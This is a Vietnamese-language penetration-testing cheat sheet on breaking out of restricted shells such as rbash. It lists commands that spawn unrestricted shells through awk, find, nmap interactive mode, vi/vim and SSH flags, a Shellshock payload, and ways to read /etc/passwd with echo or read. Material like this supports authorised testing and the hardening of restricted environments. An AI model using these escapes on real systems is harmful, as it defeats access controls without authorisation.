Escaping Restricted Shells

Restricted Shell hay Shell bị hạn chế là một loại shell giới hạn khả năng thực thi lệnh của người dùng. Trong shell bị hạn chế, người dùng chỉ được phép thực thi một nhóm lệnh cụ thể hoặc chỉ được phép thực thi các lệnh trong các thư mục cụ thể.
Các shell bị hạn chế thường được sử dụng để cung cấp một môi trường an toàn cho những người dùng có thể vô tình hoặc cố ý làm hỏng hệ thống hoặc cung cấp cách để người dùng chỉ truy cập một số tính năng nhất định của hệ thống.
Sau khi đăng nhập shell, đôi khi sẽ gặp phải lỗi như bên dưới khi thực thi lệnh.
-rbash: cd: restricted
-rbash: /usr/lib/command-not-found: restricted: cannot specify `/' in command names
Hệ thống đích sử dụng shell bị hạn chế nên không thể thực thi được các lệnh thường được sử dụng, ví dụ: ls, cd, ...
Command Enumeration
Trước tiên hãy kiểm tra xem chúng ta có thể thực hiện những lệnh nào.
compgen -c
echo read printf có thể thực hiện việc đọc file trong restricted shell.Ngoài ra, ta có thể thử lần lượt các lệnh sau:
awk 'BEGIN {system("/bin/sh")}'
bash
cat
cd
cp
declare
echo
echo $PATH
echo $SHELL
echo /usr/bin/*
echo /home/<username>/bin/*
echo "bash -i" | tee rbypass.sh
env
export
find
find / -name foobar -exec /bin/sh \;
ftp
git
less
ls
nano
nmap
printenv
printf
# List all files in current directory
printf '%s\n' *(D)
pwd
set
sudo
sudo -l
tar
touch
vi
vim
whereis
which
whoami
zip
# Programming languages
perl
php
python
python2
python3
python3.x
ruby
# Commands with absolute path
/bin/bash
/bin/sh
/usr/bin/cat
/usr/bin/ls
# Special characters
>
>>
<
|
&
$
$(whoami)
;
:
'
"
`
By pass
Update Environment Variables
Nếu có thể thực thi lệnh export và biến môi trường (PATH, SHELL, v.v.) không ở chế độ readonly, ta có thể cập nhật các biến.
export SHELL=/bin/bash
export PATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin
Autocomplete to List Directories
Chúng ta có thể xem các tập tin và thư mục trong thư mục hiện tại bằng cách nhập đường dẫn sau và nhập phím “Tab”.
./.
Copy Shell Command
Nếu chúng ta có thể thực thi lệnh cp, chúng ta có thể sao chép /bin/bash hoặc /bin/sh vào thư mục hiện tại.
cp /bin/bash .
cp /bin/sh .
List/Read Files
Nếu chúng ta có thể sử dụng lệnh echo hoặc printf, chúng ta có thể liệt kê tất cả các tệp hoặc đọc tệp.
List
# List all files echo /* echo /.* # list hidden files echo /home/<username>/* echo /home/<username>/.* # list hidden files # List all files in current directory printf '%s\n' *(D)Read
while read line; do echo $line; done < /etc/passwd; echo $lineXem nội dung file:
echo "$(<file)" # OR printf "%s" "$(<file)"
Nmap
Nếu chúng ta có thể sử dụng lệnh nmap, chúng ta có thể thoát khỏi shell bị hạn chế bằng chế độ tương tác (interactive mode).
nmap --interactive
nmap> !sh
Vi/Vim Editor
Nếu có thể sử dụng lệnh vi hoặc vim, chúng ta có thể cập nhật biến SHELL trong trình soạn thảo vi/vim.
vim # or vi
# In vi/vim editor
:set shell=/bin/bash
:shell
SSH Flags
# -t: Force pseudo-terminal allocation
ssh <user>@<ip> -t "/bin/bash"
ssh <user>@<ip> -t "/bin/sh"
ssh <user>@<ip> -t "bash --noprofile"
# Shellshock
ssh <user>@<ip> "() {:;}; /bin/bash"
Xem thêm



